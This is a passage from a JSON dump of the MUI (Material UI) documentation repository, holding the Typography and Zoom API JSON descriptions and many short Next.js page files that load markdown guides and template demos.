    "content": "{\n  \"props\": {\n    \"align\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'center'<br>&#124;&nbsp;'inherit'<br>&#124;&nbsp;'justify'<br>&#124;&nbsp;'left'<br>&#124;&nbsp;'right'\"\n      },\n      \"default\": \"'inherit'\"\n    },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;'success'<br>&#124;&nbsp;'error'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'warning'<br>&#124;&nbsp;'textPrimary'<br>&#124;&nbsp;'textSecondary'<br>&#124;&nbsp;'textDisabled'<br>&#124;&nbsp;string\"\n      }\n    },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"gutterBottom\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"noWrap\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'body1'<br>&#124;&nbsp;'body2'<br>&#124;&nbsp;'button'<br>&#124;&nbsp;'caption'<br>&#124;&nbsp;'h1'<br>&#124;&nbsp;'h2'<br>&#124;&nbsp;'h3'<br>&#124;&nbsp;'h4'<br>&#124;&nbsp;'h5'<br>&#124;&nbsp;'h6'<br>&#124;&nbsp;'inherit'<br>&#124;&nbsp;'overline'<br>&#124;&nbsp;'subtitle1'<br>&#124;&nbsp;'subtitle2'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'body1'\"\n    },\n    \"variantMapping\": {\n      \"type\": { \"name\": \"object\" },\n      \"default\": \"{\\n  h1: 'h1',\\n  h2: 'h2',\\n  h3: 'h3',\\n  h4: 'h4',\\n  h5: 'h5',\\n  h6: 'h6',\\n  subtitle1: 'h6',\\n  subtitle2: 'h6',\\n  body1: 'p',\\n  body2: 'p',\\n  inherit: 'p',\\n}\"\n    }\n  },\n  \"name\": \"Typography\",\n  \"imports\": [\n    \"import Typography from '@mui/material/Typography';\",\n    \"import { Typography } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"alignCenter\",\n      \"className\": \"MuiTypography-alignCenter\",\n      \"description\": \"Styles applied to the root element if `align=\\\"center\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"alignJustify\",\n      \"className\": \"MuiTypography-alignJustify\",\n      \"description\": \"Styles applied to the root element if `align=\\\"justify\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"alignLeft\",\n      \"className\": \"MuiTypography-alignLeft\",\n      \"description\": \"Styles applied to the root element if `align=\\\"left\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"alignRight\",\n      \"className\": \"MuiTypography-alignRight\",\n      \"description\": \"Styles applied to the root element if `align=\\\"right\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"body1\",\n      \"className\": \"MuiTypography-body1\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"body1\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"body2\",\n      \"className\": \"MuiTypography-body2\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"body2\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"button\",\n      \"className\": \"MuiTypography-button\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"button\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"caption\",\n      \"className\": \"MuiTypography-caption\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"caption\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"gutterBottom\",\n      \"className\": \"MuiTypography-gutterBottom\",\n      \"description\": \"Styles applied to the root element if `gutterBottom={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"h1\",\n      \"className\": \"MuiTypography-h1\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"h1\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"h2\",\n      \"className\": \"MuiTypography-h2\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"h2\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"h3\",\n      \"className\": \"MuiTypography-h3\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"h3\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"h4\",\n      \"className\": \"MuiTypography-h4\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"h4\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"h5\",\n      \"className\": \"MuiTypography-h5\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"h5\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"h6\",\n      \"className\": \"MuiTypography-h6\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"h6\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"inherit\",\n      \"className\": \"MuiTypography-inherit\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"inherit\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"noWrap\",\n      \"className\": \"MuiTypography-noWrap\",\n      \"description\": \"Styles applied to the root element if `nowrap={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"overline\",\n      \"className\": \"MuiTypography-overline\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"overline\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiTypography-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"subtitle1\",\n      \"className\": \"MuiTypography-subtitle1\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"subtitle1\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"subtitle2\",\n      \"className\": \"MuiTypography-subtitle2\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"subtitle2\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiTypography\",\n  \"forwardsRefTo\": \"HTMLParagraphElement\",\n  \"filename\": \"/packages/mui-material/src/Typography/Typography.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-breadcrumbs/\\\">Breadcrumbs</a></li>\\n<li><a href=\\\"/material-ui/react-menubar/\\\">Menubar</a></li>\\n<li><a href=\\\"/material-ui/react-typography/\\\">Typography</a></li></ul>\",\n  \"cssComponent\": true\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/zoom.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './zoom.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/zoom', false, /\\.\\/zoom.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/zoom.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"custom\", \"description\": \"element\" }, \"required\": true },\n    \"addEndListener\": { \"type\": { \"name\": \"func\" } },\n    \"appear\": { \"type\": { \"name\": \"bool\" }, \"default\": \"true\" },\n    \"easing\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"{ enter?: string, exit?: string }<br>&#124;&nbsp;string\"\n      }\n    },\n    \"in\": { \"type\": { \"name\": \"bool\" } },\n    \"timeout\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"number<br>&#124;&nbsp;{ appear?: number, enter?: number, exit?: number }\"\n      },\n      \"default\": \"{\\n  enter: theme.transitions.duration.enteringScreen,\\n  exit: theme.transitions.duration.leavingScreen,\\n}\"\n    }\n  },\n  \"name\": \"Zoom\",\n  \"imports\": [\"import Zoom from '@mui/material/Zoom';\", \"import { Zoom } from '@mui/material';\"],\n  \"classes\": [],\n  \"spread\": true,\n  \"themeDefaultProps\": false,\n  \"muiName\": \"MuiZoom\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/Zoom/Zoom.js\",\n  \"inheritance\": {\n    \"component\": \"Transition\",\n    \"pathname\": \"https://reactcommunity.org/react-transition-group/transition/#Transition-props\"\n  },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/transitions/\\\">Transitions</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/customization/breakpoints.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/customization/breakpoints/breakpoints.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/customization/color.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/customization/color/color.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/customization/container-queries.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/customization/container-queries/container-queries.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/customization/creating-themed-components.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/customization/creating-themed-components/creating-themed-components.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/customization/css-layers.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/customization/css-layers/css-layers.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/customization/css-theme-variables/configuration.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport {\n  demos,\n  docs,\n  demoComponents,\n} from 'docs/data/material/customization/css-theme-variables/configuration.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs demos={demos} docs={docs} demoComponents={demoComponents} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/customization/css-theme-variables/native-color.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport {\n  demos,\n  docs,\n  demoComponents,\n} from 'docs/data/material/customization/css-theme-variables/native-color.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs demos={demos} docs={docs} demoComponents={demoComponents} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/customization/css-theme-variables/overview.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport {\n  demos,\n  docs,\n  demoComponents,\n} from 'docs/data/material/customization/css-theme-variables/overview.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs demos={demos} docs={docs} demoComponents={demoComponents} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/customization/css-theme-variables/usage.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport {\n  demos,\n  docs,\n  demoComponents,\n} from 'docs/data/material/customization/css-theme-variables/usage.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs demos={demos} docs={docs} demoComponents={demoComponents} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/customization/dark-mode.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/customization/dark-mode/dark-mode.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/customization/default-theme.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/customization/default-theme/default-theme.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} disableToc />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/customization/density.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/customization/density/density.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/customization/how-to-customize.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/customization/how-to-customize/how-to-customize.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/customization/overriding-component-structure.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/customization/overriding-component-structure/overriding-component-structure.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/customization/palette.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/customization/palette/palette.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/customization/right-to-left.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/customization/right-to-left/right-to-left.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/customization/shadow-dom.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/customization/shadow-dom/shadow-dom.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/customization/shape.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/customization/shape/shape.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/customization/spacing.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/customization/spacing/spacing.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/customization/theme-components.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/customization/theme-components/theme-components.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/customization/theming.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/customization/theming/theming.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/customization/transitions.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/customization/transitions/transitions.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/customization/typography.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/customization/typography/typography.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/customization/z-index.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/customization/z-index/z-index.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/design-resources/material-ui-for-figma.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/design-resources/material-ui-for-figma/material-ui-for-figma.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/design-resources/material-ui-sync.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/design-resources/material-ui-sync/material-ui-sync.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/discover-more/backers.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/discover-more/backers/backers.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} disableAd />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/discover-more/changelog.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/discover-more/changelog/changelog.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/discover-more/related-projects.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/discover-more/related-projects/related-projects.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/discover-more/roadmap.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/discover-more/roadmap/roadmap.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/discover-more/showcase.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/discover-more/showcase/showcase.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} disableToc />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/discover-more/vision.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/discover-more/vision/vision.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/experimental-api/classname-generator.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/experimental-api/classname-generator/classname-generator.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/experimental-api/pigment-css.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/experimental-api/pigment-css/pigment-css.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/getting-started/design-resources.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/getting-started/design-resources/design-resources.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} disableAd />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/getting-started/example-projects.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/getting-started/example-projects/example-projects.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} disableAd />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/getting-started/faq.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/getting-started/faq/faq.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/getting-started/index.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/getting-started/overview/overview.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} disableAd />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/getting-started/installation.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/getting-started/installation/installation.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} disableAd />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/getting-started/learn.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/getting-started/learn/learn.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} disableAd />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/getting-started/mcp.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/getting-started/mcp/mcp.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/getting-started/support.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/getting-started/support/support.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} disableAd />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/getting-started/supported-components.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/getting-started/supported-components/supported-components.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/getting-started/supported-platforms.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/getting-started/supported-platforms/supported-platforms.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/getting-started/templates/blog.js",
    "content": "import AppTheme from 'docs/src/modules/components/AppTheme';\nimport TemplateFrame from 'docs/src/modules/components/TemplateFrame';\nimport Blog from 'docs/data/material/getting-started/templates/blog/Blog';\n\nexport default function Page() {\n  return (\n    <AppTheme>\n      <TemplateFrame>\n        <Blog />\n      </TemplateFrame>\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/pages/material-ui/getting-started/templates/checkout.js",
    "content": "import AppTheme from 'docs/src/modules/components/AppTheme';\nimport TemplateFrame from 'docs/src/modules/components/TemplateFrame';\nimport Checkout from 'docs/data/material/getting-started/templates/checkout/Checkout';\n\nexport default function Page() {\n  return (\n    <AppTheme>\n      <TemplateFrame>\n        <Checkout />\n      </TemplateFrame>\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/pages/material-ui/getting-started/templates/crud-dashboard.js",
    "content": "import dynamic from 'next/dynamic';\nimport AppTheme from 'docs/src/modules/components/AppTheme';\nimport TemplateFrame from 'docs/src/modules/components/TemplateFrame';\n\nconst CrudDashboard = dynamic(\n  () => import('../../../../data/material/getting-started/templates/crud-dashboard/CrudDashboard'),\n  { ssr: false },\n);\n\nexport default function Page() {\n  return (\n    <AppTheme>\n      <TemplateFrame>\n        <CrudDashboard />\n      </TemplateFrame>\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/pages/material-ui/getting-started/templates/dashboard.js",
    "content": "import AppTheme from 'docs/src/modules/components/AppTheme';\nimport TemplateFrame from 'docs/src/modules/components/TemplateFrame';\nimport Dashboard from 'docs/data/material/getting-started/templates/dashboard/Dashboard';\n\nexport default function Page() {\n  return (\n    <AppTheme>\n      <TemplateFrame>\n        <Dashboard />\n      </TemplateFrame>\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/pages/material-ui/getting-started/templates/marketing-page.js",
    "content": "import AppTheme from 'docs/src/modules/components/AppTheme';\nimport TemplateFrame from 'docs/src/modules/components/TemplateFrame';\nimport MarketingPage from 'docs/data/material/getting-started/templates/marketing-page/MarketingPage';\n\nexport default function Page() {\n  return (\n    <AppTheme>\n      <TemplateFrame>\n        <MarketingPage />\n      </TemplateFrame>\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/pages/material-ui/getting-started/templates/sign-in-side.js",
    "content": "import AppTheme from 'docs/src/modules/components/AppTheme';\nimport TemplateFrame from 'docs/src/modules/components/TemplateFrame';\nimport SignInSide from 'docs/data/material/getting-started/templates/sign-in-side/SignInSide';\n\nexport default function Page() {\n  return (\n    <AppTheme>\n      <TemplateFrame>\n        <SignInSide />\n      </TemplateFrame>\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/pages/material-ui/getting-started/templates/sign-in.js",
    "content": "import AppTheme from 'docs/src/modules/components/AppTheme';\nimport TemplateFrame from 'docs/src/modules/components/TemplateFrame';\nimport SignIn from 'docs/data/material/getting-started/templates/sign-in/SignIn';\n\nexport default function Page() {\n  return (\n    <AppTheme>\n      <TemplateFrame>\n        <SignIn />\n      </TemplateFrame>\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/pages/material-ui/getting-started/templates/sign-up.js",
    "content": "import AppTheme from 'docs/src/modules/components/AppTheme';\nimport TemplateFrame from 'docs/src/modules/components/TemplateFrame';\nimport SignUp from 'docs/data/material/getting-started/templates/sign-up/SignUp';\n\nexport default function Page() {\n  return (\n    <AppTheme>\n      <TemplateFrame>\n        <SignUp />\n      </TemplateFrame>\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/pages/material-ui/getting-started/templates.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/getting-started/templates/templates.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} disableAd />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/getting-started/usage.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/getting-started/usage/usage.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} disableAd />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/guides/api.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/guides/api/api.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/guides/building-extensible-themes.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/guides/building-extensible-themes/building-extensible-themes.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/guides/composition.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/guides/composition/composition.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/guides/content-security-policy.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/guides/content-security-policy/content-security-policy.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/guides/localization.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/guides/localization/localization.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/guides/minimizing-bundle-size.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/guides/minimizing-bundle-size/minimizing-bundle-size.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/guides/responsive-ui.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/guides/responsive-ui/responsive-ui.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/material-ui/guides/server-rendering.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/material/guides/server-rendering/server-rendering.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
